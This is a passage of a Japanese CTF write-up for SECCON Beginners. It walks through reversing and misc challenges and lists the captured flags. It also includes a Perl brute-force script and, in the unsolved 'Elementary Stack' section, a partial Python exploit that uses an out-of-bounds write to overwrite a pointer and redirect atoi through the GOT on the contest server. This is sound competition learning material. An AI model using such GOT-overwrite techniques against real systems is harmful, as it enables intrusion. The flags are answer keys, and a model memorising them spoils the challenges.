     6fe:	31 db                	xor    %ebx,%ebx
     700:	e8 2b ff ff ff       	callq  630 <puts@plt>
```

`scanf()`により文字列を読み込んだ後、`820`を呼び出し、
その返り値が0なら`1107`の文字列を、非0なら`1100`の文字列を出力することが読み取れる。
ELFファイルをバイナリエディタで見ると、`1107`の文字列は`Correct!`、`1100`の文字列は`Wrong!`である。
したがって、関数`820`の返り値が0になる文字列が正解であると考えられる。

関数`820`は一見長くて面食らうが、正解の文字列の最初は`ctf4b{`になるはずであることを利用して動作を追っていくと、
ブロックごとに最初から1文字ずつ判定し、正しい文字であれば次のブロックに進む構造になっていることがわかる。
なお、条件分岐は「`cmp`のdestの値がsrcに比べてどうか」である。(例えば、`jbe`ならdestがsrc以下ならジャンプする)

関数`820`の冒頭は、以下のような感じである。

```
     820:	0f b6 17             	movzbl (%rdi),%edx
     823:	80 fa 63             	cmp    $0x63,%dl
     826:	74 50                	je     878 <__cxa_finalize@plt+0x208>
     828:	76 2e                	jbe    858 <__cxa_finalize@plt+0x1e8>
     82a:	80 fa 96             	cmp    $0x96,%dl
     82d:	b8 36 00 00 00       	mov    $0x36,%eax
     832:	74 1f                	je     853 <__cxa_finalize@plt+0x1e3>
     834:	80 fa da             	cmp    $0xda,%dl
     837:	b8 87 00 00 00       	mov    $0x87,%eax
     83c:	74 15                	je     853 <__cxa_finalize@plt+0x1e3>
     83e:	80 fa 77             	cmp    $0x77,%dl
     841:	b8 49 00 00 00       	mov    $0x49,%eax
     846:	74 28                	je     870 <__cxa_finalize@plt+0x200>
     848:	b8 96 00 00 00       	mov    $0x96,%eax
     84d:	c3                   	retq   
     84e:	b8 8b 00 00 00       	mov    $0x8b,%eax
     853:	f3 c3                	repz retq 
     855:	0f 1f 00             	nopl   (%rax)
     858:	80 fa 30             	cmp    $0x30,%dl
     85b:	b8 a5 00 00 00       	mov    $0xa5,%eax
     860:	74 f1                	je     853 <__cxa_finalize@plt+0x1e3>
     862:	80 fa 4b             	cmp    $0x4b,%dl
     865:	b8 c4 00 00 00       	mov    $0xc4,%eax
     86a:	75 dc                	jne    848 <__cxa_finalize@plt+0x1d8>
     86c:	f3 c3                	repz retq 
     86e:	66 90                	xchg   %ax,%ax
     870:	f3 c3                	repz retq 
     872:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
     878:	0f b6 57 01          	movzbl 0x1(%rdi),%edx
     87c:	80 fa 3e             	cmp    $0x3e,%dl
     87f:	74 5f                	je     8e0 <__cxa_finalize@plt+0x270>
     881:	76 3d                	jbe    8c0 <__cxa_finalize@plt+0x250>
     883:	80 fa 9c             	cmp    $0x9c,%dl
     886:	b8 0f 00 00 00       	mov    $0xf,%eax
     88b:	74 c6                	je     853 <__cxa_finalize@plt+0x1e3>
     88d:	80 fa c9             	cmp    $0xc9,%dl
     890:	b8 b8 00 00 00       	mov    $0xb8,%eax
     895:	74 bc                	je     853 <__cxa_finalize@plt+0x1e3>
     897:	80 fa 74             	cmp    $0x74,%dl
     89a:	75 3c                	jne    8d8 <__cxa_finalize@plt+0x268>
     89c:	0f b6 57 02          	movzbl 0x2(%rdi),%edx
```

条件分岐が多くて一見わかりにくいが、結局次のブロックに行く直前の分岐で比較している文字が正解の文字である。
「次のブロックに行く直前の分岐」には、「一致したら次のブロックに行く」パターン

```
     823:	80 fa 63             	cmp    $0x63,%dl
     826:	74 50                	je     878 <__cxa_finalize@plt+0x208>
```

および、「一致しなかったら次のブロックに行かない」パターン

```
     897:	80 fa 74             	cmp    $0x74,%dl
     89a:	75 3c                	jne    8d8 <__cxa_finalize@plt+0x268>
     89c:	0f b6 57 02          	movzbl 0x2(%rdi),%edx
```

が存在する。
逆アセンブル結果から`movzbl`をgrepしておくと、ブロックの境界がわかりやすく、解析しやすくなる。
最後のブロックの最後は比較命令が違うが、
「一致したら次のブロック(return)に行く」パターンであり、正しい文字は`'\0'`である。

```
     853:	f3 c3                	repz retq 
...
    103e:	31 c0                	xor    %eax,%eax
    1040:	84 d2                	test   %dl,%dl
    1042:	0f 84 0b f8 ff ff    	je     853 <__cxa_finalize@plt+0x1e3>
```

なお、"Hint: You'd better automate your analysis"とあったが、
この程度の文字数であればプログラムを組むより手動で見たほうが低コストだと判断した。

```
ctf4b{sp4gh3tt1_r1pp3r1n0}
```

### ghost

Ghostscriptのソースコードと思われるデータと、その目標の出力と思われるデータが与えられた。

前者のデータの中身を見てみたが、挙動はよくわからなかった。
そこで、Ghostscriptのソースコードとして実行してみると、出力は入力の文字列に依存し、
特に前の文字には依存するが後の文字には依存しなそうであることがわかった。

これに基づき、複雑なことを考えたくなかったので前の文字から順に全探索を行った。
その結果、5分程度で答えが得られた。
(注：これはWindows環境で動作させたプログラムであり、他の環境ではシェルに有害な文字が他にもある可能性があります)

```zentansaku.pl
#!/usr/bin/perl

use strict;
use warnings;

my $gs = "C:\\MyInstalledApps\\gs\\gs9.52\\bin\\gswin64c.exe";
my $program = "ghost/chall.gs";

my $output_file = "ghost/output.txt";

open(OF, "< $output_file") or die;

my $target = <OF>;
chomp($target);

my @targets = split(/\s+/, $target);

my $searching = "";

my $start = time();

for (my $i = 0; $i < @targets; $i++) {
	for (my $c = 126; $c > 32; $c--) {
		if ($c == 0x22 || $c == 0x26 || $c == 0x27 || $c == 0x3c || $c == 0x3e || $c == 0x5e || $c == 0x7c) { next; }
		my $candidate = sprintf("%s%c", $searching, $c);
		open(TEST, "echo $candidate| \"$gs\" \"$program\" |") or die;
		my $res = "";
		while (<TEST>) { $res = $_; }
		my @got = split(/\s+/, $res);
		if ($got[$i] == $targets[$i]) {
			$searching = $candidate;
			last;
		}
	}
	printf("%d / %d at %ds\n", $i + 1, @targets + 0, time() - $start);
}

print "\n$searching\n";
```

```
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
```

## Misc

### Welcome

深夜のぼく
「そろそろこれやっとくか…？」
「Discordかあ…この機会に登録しとく…？」
「んー…規約読むのめんどい…50点だしな…パスでいっか…」

昼のぼく
「上のチームとの得点差が50点未満の状況が観測されたからやっとこ。」
「なんだ、ニックネーム入れるだけで垢作んなくても入れるやんけ。」

フラグは#announcementチャンネルにあった。

```
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
```

### emoemoencode

テキストファイルが与えられた。
中身は絵文字が並んでいた。

"Do you know emo-emo-encode?"とのことなので、
まずはemo-emo-encodeでググってみたが、有力な情報は得られなかった。

flagは`ctf4b{`で始まるはずであることをもとに絵文字群を観察していると、
最初の絵文字の文字コードの下位8ビットが`ctf4b{`の文字コードになっていることに気がついた。
([サクラエディタ](https://sakura-editor.github.io/)の、カーソル位置の文字の文字コードを表示する機能を使った)
残りの絵文字の文字コードの下位8ビットも抽出することで、flagが得られた。

```
ctf4b{stegan0graphy_by_em000000ji}
```

# 解けなかった問題

## Pwn

### Elementary Stack

ELFファイル、そのソースコードと考えられるC言語のプログラム、libcのファイルが与えられ、サーバーが用意された。
ELFファイルは、[tdm-gcc](https://jmeubank.github.io/tdm-gcc/)の`objdump`を用いることで、
普通に`-d`オプションを用いるだけで逆アセンブルを行えた。

どうやら`buffer`が指す場所に入力を読み込んだ後、それに基づき配列`number`に値を格納するようである。
`main`関数内、および入力を読み込む`readlong`関数内でのスタックの様子をまとめると、以下のようになっていそうである。

```
readlong を呼ぶ前の状態

rbp - 0x68
rbp - 0x60 rsp
rbp - 0x58 i
rbp - 0x50 buffer
rbp - 0x48 v
rbp - 0x40 number
rbp - 0x38
rbp - 0x30
rbp - 0x28
rbp - 0x20
rbp - 0x18
rbp - 0x10
rbp - 0x08
rbp - 0x00

readlong で read する時の状態

rbp - 0x20 rsp
rbp - 0x18 size
rbp - 0x10 buf
rbp - 0x08 msg
rbp - 0x00
rbp + 0x08 [saved rbp]
rbp + 0x10 [return address to main()]
rbp + 0x18 i
rbp + 0x20 buffer
rbp + 0x28 v
rbp + 0x30 number
rbp + 0x38
rbp + 0x40
rbp + 0x48
rbp + 0x50
rbp + 0x58
rbp + 0x60
rbp + 0x68
rbp + 0x70
```

これに基づき、書き込む位置に`-2`を指定することで、`buffer`の値を書き換えることが可能である。
ここを`6295608` (0x601038)にすることで、
`buffer`が指す場所への書き込みを用いて`atoi`として呼び出す位置を変えることができる。
(`atoi`に対応する位置は `6295616` (0x601040) だが、これを直接指定すると
`*** stack smashing detected ***: <unknown> terminated`が出てしまった)

例えば`atoi`の代わりに`printf`を呼び出すことができたが、flagの取得にはつなげることができなかった。

```hack.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9003))
sock_buffer = b""

def sock_readline():
	global sock_buffer
	while b"\n" not in sock_buffer:
		data = sock.recv(4096)
		if data == b"":
			if sock_buffer != b"":
				print(sock_buffer)
			sys.exit(0)
		sock_buffer += data
	try:
		splitted = sock_buffer.decode().split("\n", 2)
		sock_buffer = (splitted[1] if len(splitted) > 1 else "").encode()
		return splitted[0]
	except UnicodeDecodeError:
		buf = sock_buffer
		sock_buffer = b""
		return buf

sock.sendall(b"-2")
sock.sendall(str(0x601038).encode())
print(sock_readline())

sock.sendall(b"\x00")
sock.sendall(b"12345678" + struct.pack("<Q", 0x400590))
print(sock_readline())

sock.sendall(b"hello\x00")
sock.sendall(b"hello\x00")
print(sock_readline())

sock.close()
```

### ChildHeap

ELFファイルとlibcのファイルが与えられ、サーバーが用意された。

サーバーに接続するとAlloc / Delete / Wipe / Exit のメニューがあった。

Allocを選択すると、sizeとcontentを聞かれた。
その後Deleteを選択すると、入力したcontentが表示され、"remove?[y/n]"と聞かれたので、yにした。
再びAllocを選択すると、"No Space!!"と表示された。
再びDeleteを選択し、yを選ぶと、接続が切れた。

Deleteを選択せずにAllocを選んでも、2回目以降は"No Space!!"と出るようである。

また、これは終了後わかったことだが、Allocを選択せずにDeleteを選択した場合は、
複数回Delete→yを選択しても接続が切れないようである。

### flip

ELFファイルとlibcのファイルが与えられ、サーバーが用意された。

サーバーに接続すると、`Input address >>`と出力された。
適当に入力すると、次は

```
You can flip two times!
Which bit (0 ~ 7) >>
```

と出力された。
また適当に入力すると、接続が切れた。

わからんと思って諦めてしまったが、逆アセンブルくらいしてみればよかったかな。

## Crypto

### C4B

WebページのURLが与えられた。
ページにアクセスしても、「Install Web3 Provider (MetaMask) 」と出るだけで何もわからず。
「Web3 Provider」で検索しても、なんかいっぱいあってわからん。

…ん？

[MetaMask]【検索】

[MetaMask - Chrome ウェブストア](https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn?hl=ja)

もしかしてこれか！？ (終了1分前) (ておくれ)

## Web

### profiler

WebページのURLが与えられる。
アカウント登録すると、tokenが出てくる。
このtokenをtoken欄に入れるとprofileをupdateでき、入れないとできないようである。
また、Get FLAGボタンがあり、押すと

> Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).

と出てくる。

…何もわからず。

### Somen

WebページのURL、そのソースコードと考えられるファイル、そして`worker.js`が与えられた。
workerがあるということは、XSS系と推測できる。

パラメータとして英数字以外を入れると、JavaScriptで別のページに移動させて弾くようである。

…ということしかわからず。

## Reversing

### siblangs

apkファイルが与えられた。

* [dex2jar](https://sourceforge.net/projects/dex2jar/)
* [JD-GUI](http://java-decompiler.github.io/)
* [AXMLPrinter2](https://code.google.com/archive/p/android4me/downloads)
* [Apktool](https://ibotpeaches.github.io/Apktool/)

を利用したが、flagの特定には至らなかった。

`es.o0i.challengeapp.nativemodule`内のクラス`ValidateFlagModule`に関数`validate`があり、
暗号の処理と比較処理をしているようだったので、比較しているデータを抽出してみた。
その結果は`1pt_3verywhere}`であり、flagの末尾のようであった。
また、比較は入力データの22要素目(0-origin)からであったので、flagは

```
ctf4b{
                      1pt_3verywhere}
01234567890123456789012
```

のような形になると推測できた。

### sneaky

ELFファイルが与えられた。
[tdm-gcc](https://jmeubank.github.io/tdm-gcc/)の`objdump`を用いることで、
普通に`-d`オプションを用いるだけで逆アセンブルを行えた。

…が、ばかでかかった(20万行超え！)のでパス。

## Misc

### readme

Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。

```
assert os.path.isfile('/home/ctf/flag') # readme
```

という記述から、`/home/ctf/flag`を読めばよさそうであるが、
入力に`ctf`が入っている文字列を指定すると弾かれるようになっている。

…ん…待てよ…Misc…？ということはとんちか…？ (終了15分前)

…しかし、わからず。